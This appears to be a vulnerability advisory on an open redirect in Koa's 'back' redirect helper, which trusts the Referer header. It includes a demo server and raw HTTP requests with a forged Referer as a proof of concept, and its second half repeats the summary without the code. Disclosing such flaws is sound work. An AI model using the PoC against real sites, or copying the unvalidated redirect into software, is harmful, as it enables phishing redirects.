Summary
In the latest version of Koa, the back method used for redirect operations adopts an insecure implementation, which uses the user-controllable referrer header as the redirect target.
Details
on the API document https://www.koajs.net/api/response#responseredirecturl-alt, we can see:
response.redirect(url, [alt])
Performs a [302] redirect to url.
The string "back" is specially provided for Referrer support, using alt or "/" when Referrer does not exist.
ctx.redirect('back');
ctx.redirect('back', '/index.html');
ctx.redirect('/login');
ctx.redirect('http://google.com');
however, the "back" method is insecure:
back (alt) {
const url = this.ctx.get('Referrer') || alt || '/'
this.redirect(url)
},
Referrer Header is User-Controlled.
PoC
there is a demo for POC:
const Koa = require('koa')
const serve = require('koa-static')
const Router = require('@koa/router')
const path = require('path')
const app = new Koa()
const router = new Router()
// Serve static files from the public directory
app.use(serve(path.join(__dirname, 'public')))
// Define routes
router.get('/test', ctx => {
ctx.redirect('back', '/index1.html')
})
router.get('/test2', ctx => {
ctx.redirect('back')
})
router.get('/', ctx => {
ctx.body = 'Welcome to the home page! Try accessing /test, /test2'
})
app.use(router.routes())
app.use(router.allowedMethods())
const port = 3000
app.listen(port, () => {
console.log(`Server running at http://localhost:${port}`)
})
Proof Of Concept
GET /test HTTP/1.1
Host: 127.0.0.1:3000
Referer: http://www.baidu.com
Connection: close
GET /test2 HTTP/1.1
Host: 127.0.0.1:3000
Referer: http://www.baidu.com
Connection: close
Impact
https://learn.snyk.io/lesson/open-redirect/
References
Summary
In the latest version of Koa, the back method used for redirect operations adopts an insecure implementation, which uses the user-controllable referrer header as the redirect target.
Details
on the API document https://www.koajs.net/api/response#responseredirecturl-alt, we can see:
response.redirect(url, [alt])
however, the "back" method is insecure:
Referrer Header is User-Controlled.
PoC
there is a demo for POC:
Proof Of Concept
Impact
https://learn.snyk.io/lesson/open-redirect/
References